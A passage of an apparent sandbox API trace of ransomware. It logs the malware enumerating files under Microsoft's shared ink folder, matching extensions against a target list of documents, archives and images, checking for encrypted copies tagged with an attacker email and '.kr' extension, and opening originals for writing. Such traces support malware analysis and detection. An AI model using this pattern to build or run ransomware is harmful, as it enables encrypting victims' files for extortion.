(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.878] lstrlenW (lpString=".jpg") returned 4 [0091.878] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.878] lstrlenW (lpString=".doc") returned 4 [0091.878] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.878] lstrlenW (lpString=".docx") returned 5 [0091.879] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0091.879] lstrlenW (lpString=".pdf") returned 4 [0091.879] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.879] lstrlenW (lpString=".xls") returned 4 [0091.879] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.879] lstrlenW (lpString=".xlsx") returned 5 [0091.879] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0091.879] lstrlenW (lpString=".ppt") returned 4 [0091.879] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.879] lstrlenW (lpString=".zip") returned 4 [0091.879] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.879] lstrlenW (lpString=".rar") returned 4 [0091.879] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.879] lstrlenW (lpString=".bz2") returned 4 [0091.879] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.879] lstrlenW (lpString=".7z") returned 3 [0091.879] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.879] lstrlenW (lpString=".dbf") returned 4 [0091.879] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.879] lstrlenW (lpString=".1cd") returned 4 [0091.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.879] lstrlenW (lpString=".jpg") returned 4 [0091.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.879] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.880] lstrlenW (lpString="oskpred.xml") returned 11 [0091.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.880] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=215) returned 1 [0091.880] CloseHandle (hObject=0x328) returned 1 [0091.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0091.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.880] lstrlenW (lpString=".doc") returned 4 [0091.880] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.880] lstrlenW (lpString=".docx") returned 5 [0091.880] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0091.880] lstrlenW (lpString=".pdf") returned 4 [0091.880] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.880] lstrlenW (lpString=".xls") returned 4 [0091.880] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.880] lstrlenW (lpString=".xlsx") returned 5 [0091.880] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0091.881] lstrlenW (lpString=".ppt") returned 4 [0091.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.881] lstrlenW (lpString=".zip") returned 4 [0091.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.881] lstrlenW (lpString=".rar") returned 4 [0091.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.881] lstrlenW (lpString=".bz2") returned 4 [0091.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.881] lstrlenW (lpString=".7z") returned 3 [0091.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.881] lstrlenW (lpString=".dbf") returned 4 [0091.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.881] lstrlenW (lpString=".1cd") returned 4 [0091.881] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.881] lstrlenW (lpString=".jpg") returned 4 [0091.881] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.881] lstrlenW (lpString=".doc") returned 4 [0091.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.881] lstrlenW (lpString=".docx") returned 5 [0091.881] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0091.881] lstrlenW (lpString=".pdf") returned 4 [0091.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.881] lstrlenW (lpString=".xls") returned 4 [0091.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.881] lstrlenW (lpString=".xlsx") returned 5 [0091.882] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0091.882] lstrlenW (lpString=".ppt") returned 4 [0091.882] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.882] lstrlenW (lpString=".zip") returned 4 [0091.882] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.882] lstrlenW (lpString=".rar") returned 4 [0091.882] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.882] lstrlenW (lpString=".bz2") returned 4 [0091.882] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.882] lstrlenW (lpString=".7z") returned 3 [0091.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.882] lstrlenW (lpString=".dbf") returned 4 [0091.882] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.882] lstrlenW (lpString=".1cd") returned 4 [0091.882] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0091.882] lstrlenW (lpString=".jpg") returned 4 [0091.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.882] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.882] lstrlenW (lpString="ea-sym.xml") returned 10 [0091.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.883] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=694) returned 1 [0091.883] CloseHandle (hObject=0x328) returned 1 [0091.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0091.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.883] lstrlenW (lpString=".doc") returned 4 [0091.883] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.883] lstrlenW (lpString=".docx") returned 5 [0091.883] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0091.883] lstrlenW (lpString=".pdf") returned 4 [0091.883] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.883] lstrlenW (lpString=".xls") returned 4 [0091.883] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.883] lstrlenW (lpString=".xlsx") returned 5 [0091.883] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0091.883] lstrlenW (lpString=".ppt") returned 4 [0091.884] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.884] lstrlenW (lpString=".zip") returned 4 [0091.884] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.884] lstrlenW (lpString=".rar") returned 4 [0091.884] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.884] lstrlenW (lpString=".bz2") returned 4 [0091.884] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.884] lstrlenW (lpString=".7z") returned 3 [0091.884] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.884] lstrlenW (lpString=".dbf") returned 4 [0091.884] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.884] lstrlenW (lpString=".1cd") returned 4 [0091.884] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.884] lstrlenW (lpString=".jpg") returned 4 [0091.884] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.884] lstrlenW (lpString=".doc") returned 4 [0091.884] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.884] lstrlenW (lpString=".docx") returned 5 [0091.884] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0091.884] lstrlenW (lpString=".pdf") returned 4 [0091.884] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.884] lstrlenW (lpString=".xls") returned 4 [0091.884] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.885] lstrlenW (lpString=".xlsx") returned 5 [0091.885] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0091.885] lstrlenW (lpString=".ppt") returned 4 [0091.885] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.885] lstrlenW (lpString=".zip") returned 4 [0091.885] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.885] lstrlenW (lpString=".rar") returned 4 [0091.885] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.885] lstrlenW (lpString=".bz2") returned 4 [0091.885] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.885] lstrlenW (lpString=".7z") returned 3 [0091.885] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.885] lstrlenW (lpString=".dbf") returned 4 [0091.885] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.885] lstrlenW (lpString=".1cd") returned 4 [0091.885] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0091.885] lstrlenW (lpString=".jpg") returned 4 [0091.885] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.885] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.885] lstrlenW (lpString="ja-jp-sym.xml") returned 13 [0091.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.886] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=805) returned 1 [0091.886] CloseHandle (hObject=0x328) returned 1 [0091.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0091.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0091.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0091.886] lstrlenW (lpString=".doc") returned 4 [0091.886] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.886] lstrlenW (lpString=".docx") returned 5 [0091.886] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0091.886] lstrlenW (lpString=".pdf") returned 4 [0091.886] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.886] lstrlenW (lpString=".xls") returned 4 [0091.886] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.886] lstrlenW (lpString=".xlsx") returned 5 [0091.886] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0091.886] lstrlenW (lpString=".ppt") returned 4 [0091.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0091.887] lstrlenW (lpString=".zip") returned 4 [0091.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.887] lstrlenW (lpString=".rar") returned 4 [0091.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.887] lstrlenW (lpString=".bz2") returned 4 [0091.887] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.887] lstrlenW (lpString=".7z") returned 3 [0091.887] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0091.887] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.888] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3823) returned 1 [0091.888] CloseHandle (hObject=0x328) returned 1 [0091.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0091.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.888] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x36840c8, Size=0x2000) returned 0x36840c8 [0091.888] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.889] lstrlenW (lpString="symbols.xml") returned 11 [0091.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.889] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=591) returned 1 [0091.889] CloseHandle (hObject=0x328) returned 1 [0091.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0091.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.889] lstrlenW (lpString=".doc") returned 4 [0091.889] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.889] lstrlenW (lpString=".docx") returned 5 [0091.889] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0091.889] lstrlenW (lpString=".pdf") returned 4 [0091.890] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.890] lstrlenW (lpString=".xls") returned 4 [0091.890] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.890] lstrlenW (lpString=".xlsx") returned 5 [0091.890] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0091.890] lstrlenW (lpString=".ppt") returned 4 [0091.890] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.890] lstrlenW (lpString=".zip") returned 4 [0091.890] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.890] lstrlenW (lpString=".rar") returned 4 [0091.890] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.890] lstrlenW (lpString=".bz2") returned 4 [0091.890] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.890] lstrlenW (lpString=".7z") returned 3 [0091.890] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.890] lstrlenW (lpString=".dbf") returned 4 [0091.890] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.890] lstrlenW (lpString=".1cd") returned 4 [0091.890] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.890] lstrlenW (lpString=".jpg") returned 4 [0091.890] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.890] lstrlenW (lpString=".doc") returned 4 [0091.890] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.890] lstrlenW (lpString=".docx") returned 5 [0091.892] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0091.892] lstrlenW (lpString=".pdf") returned 4 [0091.892] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.892] lstrlenW (lpString=".xls") returned 4 [0091.892] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.892] lstrlenW (lpString=".xlsx") returned 5 [0091.892] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0091.892] lstrlenW (lpString=".ppt") returned 4 [0091.892] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.893] lstrlenW (lpString=".zip") returned 4 [0091.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.893] lstrlenW (lpString=".rar") returned 4 [0091.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.893] lstrlenW (lpString=".bz2") returned 4 [0091.893] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.893] lstrlenW (lpString=".7z") returned 3 [0091.893] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.893] lstrlenW (lpString=".dbf") returned 4 [0091.893] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.893] lstrlenW (lpString=".1cd") returned 4 [0091.893] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0091.893] lstrlenW (lpString=".jpg") returned 4 [0091.893] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.893] lstrcmpiW (lpString1=".dat", lpString2=".kr") returned -1 [0091.893] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0091.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.896] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=46624) returned 1 [0091.896] CloseHandle (hObject=0x328) returned 1 [0091.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0091.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft 